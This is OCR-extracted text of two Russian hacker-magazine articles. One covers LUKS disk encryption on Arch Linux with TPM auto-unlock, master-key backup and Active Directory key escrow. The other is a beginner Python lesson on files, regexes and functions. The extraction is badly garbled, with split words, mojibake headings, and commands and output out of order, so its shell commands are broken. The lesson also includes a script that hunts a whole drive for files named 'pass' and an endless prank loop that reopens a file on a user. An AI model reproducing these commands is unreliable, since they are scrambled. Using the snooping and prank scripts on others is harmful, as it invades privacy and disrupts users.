#     Algorithm |       Key |      Encryption |      Decryption

От кро ем раз дел.

 

 

 
Enter passphrase for /dev/sda2:
$ cryptsetup open /dev/sda2 cryptroot

Пос ле этих манипу ляций у нас в сис теме стал дос тупен новый раз дел
.cryptroot

 

 

 
NAME          MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINTS 
sda             8:0    0    8G  0 disk 

 
 

$ lsblk /dev/sda

├─sda1          8:1    0  500M  0 part
└─sda2          8:2    0  7.5G  0 part
└─cryptroot 253:0    0  7.5G  0 crypt

Соз дадим на раз делах фай ловые сис темы.

$ mkfs.fat -F32 /dev/sda1 
  $ mkfs.btrfs -f -L "archroot" /dev/mapper/cryptroot 

Для про дол жения уста нов ки при мон тиру ем наши раз делы.

$ mount /dev/mapper/cryptroot /mnt 
$ btrfs subvolume create /mnt/@root 
$ btrfs subvolume create /mnt/@home 
$ umount /mnt 

 
zstd 

$ mount /dev/mapper/cryptroot /mnt -o subvol=@root,ssd,noatime,space_
cache,compress=
$ mkdir /mnt/home 

 
zstd 

$ mount /dev/mapper/cryptroot /mnt/home -o subvol=@home,ssd,noatime,
space_cache,compress=
$ mkdir /mnt/boot 
$ mount /dev/sda1 /mnt/boot 

Заг лядывая одним гла зом в , уста нав лива ем сис тему обыч ным обра зом.ви ки
Не забудем вклю чить хук  при соз дании .encrypt initramfs

$ vim /etc/mkinitcpio.conf 
HOOKS=(base udev autodetect keyboard keymap modconf block encrypt 
filesystems)
$ mkinitcpio -p linux 

Фи наль ный этап — нас трой ка UEFI для заг рузки нашего ядра. Напоми наю,
что мы обой дем ся без GRUB и будем заг ружать ядро нап рямую, исполь зуя
фичу .EFISTUB

До бав ляем запись в UEFI.

$ efibootmgr \
 --create \

0000 --bootnum= \
  --label "Arch Linux" \

--disk /dev/sda \
 1 --part \

--loader /vmlinuz-linux \
 

 
--unicode 'cryptdevice=/dev/sda2:cryptroot root=/dev/mapper/
cryptroot rootflags=subvol=@root rw initrd=\initramfs-linux.img' \
--verbose

Осо бое вни мание обра ти на парамет ры ядра! Без них сис тема прос то
не смо жет най ти шиф рован ный раз дел.

Пе резаг ружа емся и убеж даем ся, что все работа ет, как мы хотели: на эта пе
заг рузки тре бует ся ввод пароля для рас шифро вания раз дела.

rst_reboot

Продолжение статьи →

https://archlinux.org/
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https://xakep.ru/2020/12/14/luks-backdoor/
https://gitlab.com/cryptsetup/cryptsetup
https://wiki.archlinux.org/title/Installation_guide
https://wiki.archlinux.org/title/EFISTUB


LUKS GOOD!
СТАВИМ LINUX НА ШИФРОВАННЫЙ РАЗДЕЛ

И ДЕЛАЕМ УДОБНОЙ РАБОТУ С НИМ

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÍÀÑÒÐÀÈÂÀÅÌ ÀÂÒÎÐÀÇÁËÎÊÈÐÎÂÊÓ

Хо телось бы не вво дить пароль при заг рузке каж дый раз. Для это го нуж но
нас тро ить авто раз бло киров ку LUKS с помощью чипа TPM.

Убе дим ся, что мы счас тли вые обла дате ли TPM. Необ ходимая вер сия
TPM — 2.0.

 

 

 
PASS 

 
TPM 2.0 Device 
or 

 
2

$ test -e /dev/tpm0 && echo PASS || echo FAIL

$ cat /sys/class/tpm/tpm0/device/description

$ cat /sys/class/tpm/tpm0/tpm_version_major

Ав тораз бло киров ку сде лаем с помощью отно ситель но новой фичи systemd-
cryptsetup.

INFO

Systemd-cryptsetup добав лена в systemd начиная
с .вер сии 248

Для начала необ ходимо про верить нашу вер сию systemd.

 

 

 
systemd 249 (249.2-1-arch) 

 

$ systemctl --version

+PAM +AUDIT -SELINUX -APPARMOR -IMA +SMACK +SECCOMP +GCRYPT +GNUTLS 
+OPENSSL +ACL +BLKID +CURL +ELFUTILS +FIDO2 +IDN2 -IDN +IPTC +KMOD 
+LIBCRYPTSETUP +LIBFDISK +PCRE2 -PWQUALITY +P11KIT -QRENCODE +BZIP2 +LZ4 
+XZ +ZLIB +ZSTD +XKBCOMMON +UTMP -SYSVINIT default-hierarchy=unified

Все отлично. Для работы с TPM нуж но допол нитель но уста новить пакет 
.

tpm2-
tss

$ pacman -Sy tpm2-tss 

Да лее добавим ключ TPM в слот LUKS с помощью тул зы systemd-cryptenroll.

auto 0,4 $ systemd-cryptenroll /dev/sda2 --tpm2-device= --tpm2-pcrs=

Не забыва ем про верить.

 

 

 
SLOT TYPE 

 
0 password 
1 tpm2

$ systemd-cryptenroll /dev/sda2

---------

В коман де выше мы ука зали параметр . Что такое PCR? Вот
 из Википе дии:

--tpm2-pcrs=0,4
оп ределе ние

«

»

PCR — ýòî âíóò ðåííèå ðåãèñ òðû ïàìÿòè TPM, â êîòîðûõ â çàøèô-

ðîâàí íîì âèäå ñîäåð æèòñÿ âñÿ èíôîðìà öèÿ î öåëîñ òíîñ òè ìåò ðèê

ñèñ òåìû, íà÷èíàÿ ñ çàã ðóçêè BIOS äî çàâåð øåíèÿ ðàáîòû ñèñ òåìû.

Èíôîðìà öèÿ, ñîäåð æàùà ÿñÿ â PCR, ôîð ìèðó åò êîðåíü äîâåðèÿ

äëÿ èçìå ðåíèé (RTM). Ìîãóò õðà íèòü ñÿ êàê â ýíåð ãîíåçà âèñè ìîé, òàê

è â ýíåð ãîçàâè ñèìîé ïàìÿòè. Ýòè ðåãèñ òðû ñáðà ñûâà þòñÿ ïðè ñòàð òå

è ïðè ïåðåçàã ðóçêå ñèñ òåìû. Ñïå öèôè êàöèÿ ïðåä ïèñûâà åò ìèíèìàëü- 

íîå êîëè÷åñ òâî ðåãèñ òðîâ (16), êàæ äûé ðåãèñòð ñîäåð æèò 160 áèò

èíôîðìà öèè. Ðåãèñ òðû 0–7 çàðåçåð âèðîâà íû äëÿ íóæä TPM. Ðåãèñ- 

òðû 8–15 äîñ òóïíû äëÿ èñïîëü çîâàíèÿ îïå ðàöè îííîé ñèñ òåìîé è ïðè- 

ëîæå íèÿìè. Èçìå íåíèÿ çíà ÷åíèé PCR íåîá ðàòèìû, è èõ çíà ÷åíèÿ

íåëü çÿ çàïèñàòü íàï ðÿìóþ, èõ ìîæ íî òîëü êî ðàñ øèðèòü íîâûìè çíà- 

÷åíè ÿìè, êîòîðûå çàâèñÿò îò ïðå äûäó ùèõ. Âñå èçìå íåíèÿ çíà ÷åíèé

PCR çàïèñû âàþò ñÿ â ëîã èçìå íåíèé, êîòîðûé õðà íèò ñÿ â ýíåð ãîçàâè- 

ñèìîé ïàìÿòè.

PCR Use

PCR0

Core System Firmware executable code (aka

Firmware)

PCR1 Core System Firmware data (aka UEFI settings)

PCR2 Extended or pluggable executable code

PCR3 Extended or pluggable rmware data

PCR4 Boot Manager

PCR5 GPT / Partition Table

PCR6 Resume from S4 and S5 Power State Events

PCR7 Secure Boot State

PCR8 Hash of the booted kernel

PCR 9
to 10

Reserved for Future Use

PCR11 BitLocker Access Control

PCR12 Data events and highly volatile events

PCR13 Boot Module Details

PCR14 Boot Authorities

PCR 15
to 23

Reserved for Future Use

Для вклю чения systemd-cryptsetup необ ходимо добавить в 
 хуки  и .

/etc/mkinicpio.
conf systemd sd-encrypt

HOOKS=(base systemd modconf block keyboard sd-encrypt filesystems 
fsck)
$ mkinicpio -P

На конец, изме ним стро ку заг рузки, добавив парамет ры  и 
.

rd.luks.name rd.
luks.name

 

 

 

 
/dev/sda2: UUID="e04b5b87-6bfc-4f73-83b0-36f91d52f141" 
TYPE="crypto_LUKS" PARTLABEL="primary" PARTUUID="136ffe26-5569-4c76-
a871-9025ea52dbd8"

$ blkid /dev/sda2

 
 

 
 

 
 

 

$ efibootmgr \
--create \
--bootnum=0001 \
--label "Arch Linux" \
--disk /dev/sda \
--part 1 \
--loader /vmlinuz-linux \
--unicode 'rd.luks.name=e04b5b87-6bfc-4f73-83b0-36f91d52f141=cryptroot 
rd.luks.options=tpm2-device=auto root=/dev/mapper/cryptroot 
rootflags=subvol=@root rw initrd=\initramfs-linux.img' \
--verbose

Пе резаг ружа емся и про веря ем, что все работа ет как надо.
Для тех, кому systemd-cryptsetup по каким-то при чинам не под ходит (нап- 

ример, вер сия systemd ста рая или вооб ще нет systemd), могу пореко мен- 
довать фрей мворк . С его помощью мож но реали зовать сле дующие
сце нарии авто раз бло киров ки LUKS:

Clevis

 — раз бло киров ка с TPM;• tpm2
 — раз бло киров ка с сетево го сер вера.• tang

Вот как исполь зовать Сlevis с TPM:

 

 

 
Enter existing LUKS password: ***************

$ clevis luks bind -d /dev/sda2 tpm2 '{"pcr_bank":"sha1","pcr_ids":"0,
4"}'

Про веря ем.

 

 

 
1: tpm2 '{"hash":"sha256","key":"ecc","pcr_bank":"sha1","pcr_ids":"0,4"}
$ sudo clevis luks list -d /dev/sda2

Ва риант с сер вером  нас тра ивает ся не слож нее (разуме ется, заранее
раз ворачи ваем tang и обес печива ем сетевую дос тупность):

tang

 

 

 

 

 
The advertisement contains the following signing keys:

$ sudo clevis luks bind -d /dev/sda2 tang '{"url":"http://192.168.88.
101:7500"}'

QjvwIdUeor3gBqxLteIOKvWPRqM

 
Enter existing LUKS password:
Do you wish to trust these keys? [ynYN] y

Про веря ем.

 

 

 

 

$ sudo clevis luks list -d /dev/sda2
1: tpm2 '{"hash":"sha256","key":"ecc","pcr_bank":"sha1","pcr_ids":"0,4"}
'
2: tang '{"url":"http://192.168.88.101:7500"}'

В зак лючение темы авто раз бло киров ки сто ит упо мянуть некото рые огра ниче- 
ния фрей мвор ка Clevis:

Clevis работа ет толь ко с TPM 2.0; TPM 1.2 не под держи вает ся.•
В Tang не реали зован механизм сме ны клю чей.•
Для Tang необ ходима дос тупность сети на эта пе заг рузки, поэто му, нап- 
ример, для Wi-Fi-под клю чения тре бует ся допол нитель ная нас трой ка адап- 
тера в initrd.

•

ÑÎÇÄÀÍÈÅ ÊËÞ×ÅÉ ÂÎÑÑÒÀÍÎÂËÅÍÈß

Бэ капы клю чей в таком деле, как шиф рование, дол жны быть, об этом зна ет
каж дый.

Есть два вари анта соз дания клю чей вос ста нов ления:
дамп заголов ка и мас тер-клю ча;•
за пись пароля вос ста нов ления в Active Directory.•

Äåëàåì êîïèþ ìàñòåð-êëþ÷à

Сде лать резер вную копию заголов ка и мас тер-клю ча мож но с помощью
хорошо извес тной нам ути литы .cryptsetup

WARNING

С помощью соз данной копии мож но будет
получить дос туп к раз делу, не зная пароль,
поэто му нас забот ливо пре дуп режда ют, что хра- 
нить ее нуж но в сек рете!

 

 

 

 

 

$ cryptsetup luksDump --dump-master-key /dev/sda2 --master-key-file mk.
dump

WARNING! 
 

The header dump with volume key is sensitive information 
that allows access to encrypted partition without a passphrase. 
This dump should be stored encrypted in a safe place.

========

Are you sure? (Type 'yes' in capital letters): YES 
Enter passphrase for /dev/sda2: 
LUKS header information for /dev/sda2 
Cipher name:    aes 
Cipher mode:    xts-plain64 
Payload offset: 32768 
UUID:           e04b5b87-6bfc-4f73-83b0-36f91d52f141 
MK bits:        512 
Key stored to file mk.dump

 
00000000: 1501 eccc 84fd 82f7 f53b 56ae 4ab8 5775  .........;V.J.Wu 
00000010: 4968 ea61 8d01 1f29 985e 33af 5537 ba40  Ih.a...).^3.U7.@ 
00000020: af61 6aa2 b384 afe1 aff6 d4c9 ad95 1d67  .aj............g 
00000030: 3a4f d64f 33ea 6f50 0a18 1139 9196 d694  :O.O3.oP...9....

$ xxd mk.dump

При необ ходимос ти мож но вос ста новить заголо вок и уста новить новый
пароль.

 

 

 
Enter new passphrase for key slot: ******** 
Verify passphrase: ********

$ cryptsetup luksAddKey /dev/sda2 --master-key-file mk.dump

Äîáàâëÿåì ïàðîëü âîññòàíîâëåíèÿ â Active Directory

Дру гой инте рес ный спо соб — это хра нение пароля в AD.
Для начала нуж но вклю чить нашу Arch Linux в домен. Делать это буду

с помощью System Security Services Daemon (SSSD) и realmd.
Ус танав лива ем  обыч ным спо собом:sssd

$ pacman -Sy sssd 

А  ста вим из .realmd AUR
Убе дим ся, что домен дос тупен.

 

 

 
    ad.localdomain 
  type: kerberos 
  realm-name: AD.LOCALDOMAIN 
  domain-name: ad.localdomain 
  configured: no 
  server-software: active-directory 
  client-software: sssd

$ realm discover ad.localdomain

При соеди няем ся к домену, для это го понадо бит ся учет ная запись с пра вами
вво да в домен (для прос тоты — administrator).

$ realm join ad.localdomain 
Password for Administrator: ********

Про веря ем, что все прош ло успешно и мы получи ли билеты Kerberos:

 

 

 
ad.localdomain 
  type: kerberos 
  realm-name: AD.LOCALDOMAIN 
  domain-name: ad.localdomain 
  configured: kerberos-member 
  server-software: active-directory 
  client-software: sssd 
  login-formats: %U@ad.localdomain 
  login-policy: allow-realm-logins 

 
Keytab name: FILE:/etc/krb5.keytab 
KVNO Principal 

 
   2 ARCH @AD.LOCALDOMAIN 
   2 ARCH$@AD.LOCALDOMAIN 
   2 host/ARCH@AD.LOCALDOMAIN 
   2 host/ARCH@AD.LOCALDOMAIN 
   2 host/ARCH@AD.LOCALDOMAIN 
   2 RestrictedKrbHost/ARCH@AD.LOCALDOMAIN 
   2 RestrictedKrbHost/ARCH@AD.LOCALDOMAIN 
   2 RestrictedKrbHost/ARCH@AD.LOCALDOMAIN

$ realm list

$ klist -k

---- -------------------------------------------------------------------
-------

@AD.LOCALDOMAIN2ARCH

Па роль вос ста нов ления будем хра нить в учет ной записи компь юте ра:
это дочер ний объ ект клас са . Так дела ет вин- 
довый BitLocker, ана логич но пос тупим и мы.

msFVE-RecoveryInformation

За писы вать пароль в AD буду с помощью .скрип та на Python

$ git clone https://github.com/ambalabanov/lukscrow 
$ cd lukscrow/ 

pip  $ install -r requirements.txt 

За пус каем ути литу, ука зав необ ходимые парамет ры и текущий ключ (пароль):

 

 

 
 

 
 

Generating recovery key... 
Adding recovery key to LUKS volume... 
New key added. 
Storing recovery key in Active Directory 
Recovery key saved to AD. 
Remove Kerberos credential cache /tmp/tmpcsdyn49r 
Removed cache file.

$ ./lukscrow --luks-device /dev/sda2 --ldap-url "ldap://ad.localdomain" 
--computers-base-dn "CN=Computers,DC=ad,DC=localdomain" --unlock-key
********
Using Kerberos credential cache /tmp/tmpcsdyn49r
Connected to AD as 'u:AD\ARCH$'

Про веря ем в AD, что пароль вос ста нов ления успешно записал ся.

Ну и напос ледок про веря ем сам пароль.

 

 

 

 
TRUE

$ sudo cryptsetup --test-passphrase luksOpen /dev/sda2 && echo TRUE || 
echo FALSE
Enter passphrase for /dev/sda2: 287781-171655-523297-666928-307170-
072073-039516-177220

ÇÀÊËÞ×ÅÍÈÅ

Итак, мы уста нови ли Arch Linux на шиф рован ный кор невой раз дел, нас тро или
авто раз бло киров ку при стар те и позабо тились о резер вирова нии клю чей.
Наде юсь, для тебя это тоже было увле катель ным прик лючени ем!

https://lists.freedesktop.org/archives/systemd-devel/2021-March/046289.html
https://ru.wikipedia.org/wiki/Trusted_Platform_Module
https://github.com/latchset/clevis
https://aur.archlinux.org/packages/realmd/
http://github.com/ambalabanov/lukscrow


С АБСОЛЮТНОГО НУЛЯ
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РАБОТАЕМ С ОС, ИЗУЧАЕМ
РЕГУЛЯРНЫЕ ВЫРАЖЕНИЯ

И ФУНКЦИИ

Иван Сараев
solblackbox@mail.ru

КОДИНГ

Се год ня мы порабо таем с фай ловой сис темой ОС —
научим ся ходить по катало гам, откры вать и изме нять фай лы.
Затем осво им могущес твен ные зак линания под наз вани ем
«регуляр ные выраже ния», изу чим тон кости соз дания
и вызова фун кций и под конец напишем прос тень кий ска нер
SQL-уяз вимос тей. И все это в одном нед линном уро ке!

От редакции
Эта статья — часть цик ла «Python с абсо лют ного нуля», где мы рас ска зыва ем
об азах Python в нашем фир менном нес кучном сти ле. Ты можешь читать их
по поряд ку или выбирать какие-то области, которые хотел бы под тянуть.
• Óðîê 1: Ïå ðåìåí íûå, òèïû äàí íûõ, óñëî âèÿ è öèê ëû

• Óðîê 2: Ñòðî êè, ôàé ëû, èñêëþ ÷åíèÿ è ðàáîòà ñ èíòåðíå òîì

Пер вые два уро ка дос тупны целиком без плат ной под писки. Этот — поч ти
целиком: за исклю чени ем пос ледне го при мера и домаш него задания.

ÐÀÁÎÒÀÅÌ Ñ ÔÀÉËÀÌÈ

Нач нем, как всег да, с нес ложных вещей. В Python есть модуль с лаконич ным
наз вани ем , который (ты не поверишь!) пред назна чен для вза имо дей ствия
прог раммы с опе раци онной сис темой, в том чис ле для управле ния фай лами.

os

Пер вым делом, конеч но, нуж но импорти ровать его в начале нашего скрип- 
та:

 import os

И теперь нам откры вают ся раз ные инте рес ные воз можнос ти. К при меру, мы
можем получить путь к текущей пап ке. Сна чала она сов пада ет с той,
в которой ты был при запус ке скрип та (даже если сам скрипт находит ся где-то
в дру гом мес те), но по ходу исполне ния прог раммы мы можем менять
это зна чение при помощи фун кции .os.chdir()

# Возвращает путь к текущей рабочей папке
pth=os.getcwd()
print(pth)

# Устанавливает путь к текущей рабочей папке, в данном случае это 
диск D:/
os.chdir(r'D:/')

INFO

Ес ли ты работа ешь в Windows, то в пути к фай лу
или пап ке перед откры вающей кавыч кой ука- 
зывай бук ву  (что озна чает raw) или вмес то
одной косой чер ты в пути ставь две.

r

Поп робу ем получить спи сок фай лов с рас ширени ем .py, находя щих ся
в текущей дирек тории. Для это го исполь зуем модули os и fnmatch.

 import os
 import fnmatch

# В цикле, с помощью os.listdir('.') получим список файлов
# в текущей директории (точка в скобках как раз ее и обозначает)

   for fname in os.listdir('.'):
   # Если у текущего имени файла расширение .py, то печатаем его
     if fnmatch.fnmatch(fname, '*.py'):
       print(fname)

Мо дуль fnmatch поз воля ет искать в стро ках опре делен ный текст, под ходящий
по мас ке к задан ному шаб лону:

 заменя ет любое количес тво любых сим волов;• *
 заменя ет один любой сим вол;• ?

 заменя ет любые сим волы из пос ледова тель нос ти в квад ратных
скоб ках;

• [seq]

 заменя ет любые сим волы, кро ме тех, что при сутс тву ют в квад- 
ратных скоб ках.

• [!seq]

Да вай без жалос тно уда лим какой-нибудь файл:

 import os
(os.remove(r'D:\allmypasswords.txt'))

Пе реиме нуем файл:

 import os
os.rename('lamer.txt','xakep.txt')

А теперь соз дадим пап ку по ука зан ному пути и сра зу же уда лим ее. Для это го
при годит ся модуль shutil, где есть фун кция , которая уда ляет пап ку
вмес те с содер жимым.

rmtree()

 import os
 import shutil

 os.makedirs(r'D:\secret\beer\photo') # Создает все папки по 
указанному пути

 shutil.rmtree(r'D:\secret\beer\photo') # Удаляет папку вместе с ее 
содержимым

До пус тим, ты хочешь получить спи сок всех фай лов, содер жащих ся в пап ках
по ука зан ному пути (учи тывая вло жен ные пап ки тоже), что бы най ти что-то
инте рес ное. Скрипт будет выг лядеть сле дующим обра зом:

WARNING

Будь осто рожен — скрипт в таком виде обша рит
весь диск D. Если он у тебя есть и там мно го хла- 
ма, то про цесс может затянуть ся.

 import os
     for root, dirs, files in os.walk(r'D:'):

      for name in files:
          fullname = os.path.join(root, name)

       print(fullname)
         if('pass' in fullname):

           print('Бинго!!!')

Фун кция walk() модуля os при нима ет один обя затель ный аргу мент — имя
катало га. Она пос ледова тель но про ходит все вло жен ные катало ги и воз вра- 
щает объ ект-генера тор, из которо го получа ют:

ад рес оче ред ного катало га в виде стро ки;•
спи сок имен под катало гов пер вого уров ня вло жен ности для дан ного
катало га;

•

спи сок имен фай лов дан ного катало га.•

INFO

Ге нера тор — это объ ект, который сра зу при соз- 
дании не вычис ляет зна чения всех сво их эле мен- 
тов. Этим генера торы отли чают ся от спис ков — те
хра нят в памяти все свои эле мен ты, и уда лить их
мож но толь ко прог рам мно. Вычис ления
с помощью генера торов называ ются ленивы ми,
они эко номят память. Под робнее мы рас смот рим
генера торы в сле дующих уро ках.

Сей час покажу, как узнать раз мер любого фай ла, а так же дату его модифи- 
кации.

 import os.path
# Модуль для преобразования даты в приемлемый формат

   from datetime import datetime
  path = r'C:\Windows\notepad.exe'

# Получим размер файла в байтах
  size = os.path.getsize(path)

# А теперь в килобайтах
# Две косые черты — это целочисленное деление

    ksize = size // 1024
  atime = os.path.getatime(path)

# Дата последнего доступа в секундах с начала эпохи
  mtime = os.path.getmtime(path)

# Дата последней модификации в секундах с начала эпохи
   print ('Размер: ', ksize, ' KB')
  print ('Дата последнего использования: ', datetime.fromtimestamp(

atime))
  print ('Дата последнего редактирования: ', datetime.fromtimestamp(

mtime))

INFO

Для опе раци онных сис тем Unix 1 янва ря 1970,
00:00:00 (UTC) — точ ка отсче та вре мени,
или «начало эпо хи». Чаще все го вре мя в компь- 
юте ре вычис ляет ся в виде про шед ших с это го
момен та секунд и лишь затем перево дит ся
в удоб ный для челове ка вид.

Да вай пошутим над юзе ром: соз дадим какой-нибудь файл и будем пос тоян но
его откры вать с помощью той прог раммы, которой этот файл обыч но откры- 
вает ся в сис теме:

 import os
# Модуль time понадобится для паузы, чтобы не слишком часто 
открывалось

 import time
# Создаем текстовый файл
f=open('beer.txt','w',encoding='UTF-8')
f.write('СРОЧНО НАЛЕЙТЕ ХАКЕРУ ПИВА, ИНАЧЕ ЭТО НЕ ЗАКОНЧИТСЯ!!')
f.close()

 while True:
   # Открываем файл программой по умолчанию
   os.startfile('beer.txt')
   # Делаем паузу в одну секунду
   time.sleep(1)

Ни же при веден спи сок еще некото рых полез ных команд:
 — воз вра щает наз вание фай ла или пап ки

в кон це пути;
• os.path.basename('путь')

 — воз вра щает родитель ский путь к объ екту
пути;

• os.path.dirname('путь')

 — раз деля ет путь на путь и рас ширение
фай ла;

• os.path.splitext('путь')

 — сущес тву ет ли путь до фай ла или пап ки;• os.path.exists('путь')
 — явля ется ли объ ект пути фай лом (сущес- 

тву ющим);
• os.path.isfile('путь')

 — явля ется ли объ ект пути пап кой (сущес тву- 
ющей).

• os.path.isdir('путь')

ÐÅÃÓËßÐÍÛÅ ÂÛÐÀÆÅÍÈß

Ре гуляр ные выраже ния — это спе циаль ные шаб лоны для поис ка и замены
строк в тек сте. Вооб ще говоря, их впол не мож но счи тать самос тоятель ным
язы ком, и его изу чение выходит за рам ки это го цик ла. Мы прой дем ся
по самым осно вам и по исполь зованию регуля рок в Python.

WWW

Под робнее о регэк спах ты можешь почитать в 
, в  или в кни ге

Джеф фри Фрид ла, которая так и называ ется —
« ».

до- 
кумен тации Python Ви кипе дии

Ре гуляр ные выраже ния
Мы не раз писали о полез ных сай тах, которые

помога ют работать с регуляр ными выраже ниями:
, , . Помимо это го, можешь

обра тить вни мание на сер вис 
и сайт  с инте рак тивным тре наже ром.

CyberChef RegExr txt2re
regex101.com

RegexOne

За работу с регуляр ными выраже ниями в Python отве чает модуль re. Пер вым
делом импорти руем его.

 import re

В качес тве прос тей шего пат терна мы можем исполь зовать какое-нибудь сло- 
во. Пусть по тра диции это будет «пиво»:

 import re
  pattern = r"пиво"
  string = "Хакер знает, что пиво играет во взломе решающую роль. 

Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно 
сесть за его комп и внедрить троян."

   result = re.search(pattern, string)
print(result.group(0))

Ко ман да  ищет в тек сте  пер вое вхож- 
дение шаб лона  и воз вра щает груп пу строк, дос туп к которым мож но
получить через метод . Но коман да  ищет толь ко пер вое
вхож дение шаб лона. Поэто му в нашем слу чае вер нется все го один резуль- 
тат — сло во «пиво», нес мотря на то что в нашем тек сте оно при сутс тву ет
дваж ды.

re.search(pattern,string) string
pattern

.group() search

Что бы вер нуть все вхож дения шаб лона в текст, исполь зует ся коман да 
. Эта коман да вер нет спи сок строк, которые при- 

сутс тву ют в тек сте и сов пада ют с шаб лоном.

re.
findall(pattern, string)

 import re
  pattern = r"пиво"
  string = "Хакер знает, что пиво играет во взломе решающую роль. 

Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно 
сесть за его комп и внедрить троян."

   result = re.findall(pattern, string)
print(result)

INFO

Об рати вни мание, что шаб лоны в регуляр ных
выраже ниях име ют буков ку r перед началом стро- 
ки. Это так называ емые сырые стро ки, в которых
не работа ет сим вол экра ниро вания с помощью
обратно го сле ша . При этом «сырая» стро ка
не может закан чивать ся этим сим волом.

\

В пре дыду щих двух при мерах прог рамм в качес тве шаб лона 
для поис ка строк ты исполь зовал прос то какое-то сло во. Но мощь регуляр ных
выраже ний не в этом. Ты можешь заменять час ти шаб лона спе циаль ными
сим волами, что бы под шаб лон под ходили не толь ко кон крет ные сло ва, но и
самые раз ные стро ки.

pattern

Да вай, нап ример, поп робу ем най ти в тек сте все сло ва, которые начина- 
ются с «пи». Для это го исполь зуем спе циаль ный сим вол  — он озна чает
«начало сло ва». Сра зу пос ле него ука зыва ем, с чего дол жно начинать ся сло- 
во, и напишем спе циаль ный сим вол , который озна чает, что даль ше в шаб- 
лоне дол жны идти какие-то бук вы (плюс озна чает, что их может быть одна
или боль ше) до тех пор, пока не встре тит ся небук венный сим вол (нап ример,
про бел или знак пре пина ния). Шаб лон будет выг лядеть так: .

\b

w

r"\bпи\w+"

 import re
  pattern = r"\bпи\w+"
  string = "Хакер знает, что пиво играет во взломе решающую роль. 

Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно 
сесть за его комп и внедрить троян."

   result = re.findall(pattern, string)
print(result)

Крат кая справ ка по спе циаль ным сим волам

Да вай поп робу ем выпол нить чуть более слож ную задачу. Най дем в тек сте все
email с доменом , если они там есть.mail.ru

 import re
  pattern = r"\b\w+@mail\.ru"
  string = "Если вы хотите связаться с админом, пишите на почту 

admin@mail.ru. По другим вопросам обращайтесь на support@mail.ru."
   result = re.findall(pattern, string)

print(result)

Как видишь, мы исполь зовали тот же трюк, что и в прош лый раз, — написа ли
спе циаль ный сим вол , что бы обоз начить начало сло ва, потом , что зна- 
чит «одна или боль ше букв», а затем , заэк раниро вав точ ку, пос- 
коль ку ина че она будет озна чать «любой сим вол».

\b \w+
@mail.ru

Час то быва ет нуж но най ти какой-то эле мент стро ки, окру жен ный дву мя
дру гими эле мен тами. Нап ример, это может быть URL. Что бы выделить ту
часть шаб лона, которую нуж но вер нуть, исполь зуют ся скоб ки. При веду при- 
мер, в котором ты получишь все адре са ссы лок из какого-то кусоч ка кода
на HTML.

 import re
  string = 'Вы можете посмотреть карту сайта <a href="map.php">тут</

a>. Посетите также <a href="best.php"раздел</a>'
  pattern = r'href="(.+?)"'
  result = re.findall(pattern,string)

print(result)

В коде выше исполь зовал ся пат терн  — в этом шаб лоне
иско мая стро ка начина ется с  и закан чива ется еще одной двой ной
кавыч кой. Скоб ки нуж ны для того, что бы ука зать, какую часть под ходящей
под шаб лон стро ки ты хочешь получить в перемен ную . Точ ка и плюс
внут ри ско бок ука зыва ют, что внут ри кавычек могут быть любые сим волы (кро- 
ме сим вола новой стро ки). Знак воп роса озна чает, что нуж но оста новить ся
перед пер вой же встре чен ной кавыч кой.

r'href="(.+?)"
href="

result

INFO

Знак воп роса в регуляр ных выраже ниях исполь- 
зует ся в двух нем ного раз ных смыс лах. Если он
идет пос ле одно го сим вола, это зна чит, что сим- 
вол может при сутс тво вать или не при сутс тво вать
в стро ке. Если же воп роситель ный знак идет пос- 
ле груп пы сим волов, это озна чает «нежад ный»
(non-greedy) режим: такая регуляр ка будет ста- 
рать ся зах ватить как мож но мень ше сим волов.

Мы можем не толь ко искать стро ки, но и заменять их чем-то дру гим. Нап- 
ример, давай поп робу ем уда лить из HTML-кода все теги. Для это го исполь- 
зует ся коман да .re.sub(pattern,'чем заменять',string)

 import re
  string = 'Вы можете посмотреть карту сайта <a href="map.php">тут</

a>. Посетите также <a href="best.php"раздел</a>'
  pattern = r'<(.+?)>'
  result = re.sub(pattern,'',string)

print(result)

Прог рамма напеча тает стро ку уже без тегов, так как мы замени ли их пус той
стро кой.

Ре гуляр ные выраже ния — очень мощ ная шту ка. Осво ив их, ты смо жешь
делать со стро ками поч ти все, что угод но, а в сочета нии с кодом на Python —
бук валь но что угод но. Для начала же можешь поэк спе римен тировать и изме- 
нить какие-то из при веден ных рецеп тов.
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PYTHON С

АБСОЛЮТНОГО НУЛЯ
РАБОТАЕМ С ОС, ИЗУЧАЕМ

РЕГУЛЯРНЫЕ ВЫРАЖЕНИЯ И ФУНКЦИИ

КОДИНГ  НАЧАЛО СТАТЬИ←

ÔÓÍÊÖÈÈ

Приш ла пора под робнее погово рить о фун кци ях. Мы уже неод нократ но
вызыва ли раз ные фун кции — как встро енные в Python (нап ример, ),
так и из под клю чаемых модулей (нап ример, ). Но что такое
фун кция изнутри и как их делать самос тоятель но?

print()
urllib.request()

Пред ставь, что у тебя есть какой-то набор команд, которые нуж но выпол- 
нять нес коль ко раз, изме няя лишь вход ные дан ные. Такие бло ки команд
обыч но выносят в отдель ные кусоч ки прог раммы.

INFO

В объ ектно ори енти рован ном прог рамми рова нии
фун кции явля ются метода ми какого-либо клас са
и пишут ся через точ ку от его наз вания.

s='Hello, xakep!'
 print(s) # Функция
 s.lower() # Метод

У фун кции могут быть вход ные парамет ры — это одна или нес коль ко
перемен ных, которые пишут ся в скоб ках пос ле име ни фун кции. При вызове
фун кции ты можешь передать ей аргу мен ты для этих парамет ров. Некото рые
из парамет ров могут быть необя затель ными или иметь зна чение по умол- 
чанию — на слу чай, если его не переда дут.

Объ явле ние фун кции начина ется с клю чево го сло ва , далее сле дует
имя фун кции, парамет ры в скоб ках и прог рам мный код, отде лен ный четырь мя
про бела ми. Фун кция может воз вра щать одно или нес коль ко зна чений
с помощью клю чево го сло ва . Оно, кста ти, прек раща ет работу фун- 
кции, и, если за ним идут какие-то коман ды, они будут про пуще ны.

def

return

Для при мера раз берем прос тей шую фун кцию, которая будет при нимать
в качес тве аргу мен тов два любых чис ла и перем ножать их, воз вра щая резуль- 
тат умно жения. Назовем ее umn.

  def umn(a, b):
       c = a * b
    return c

Те перь, ког да ты опи сал фун кцию, далее в этой же прог рамме мож но ее
вызывать.

  a = int(input('Введите первое число: '))
  b = int(input('Введите второе число: '))
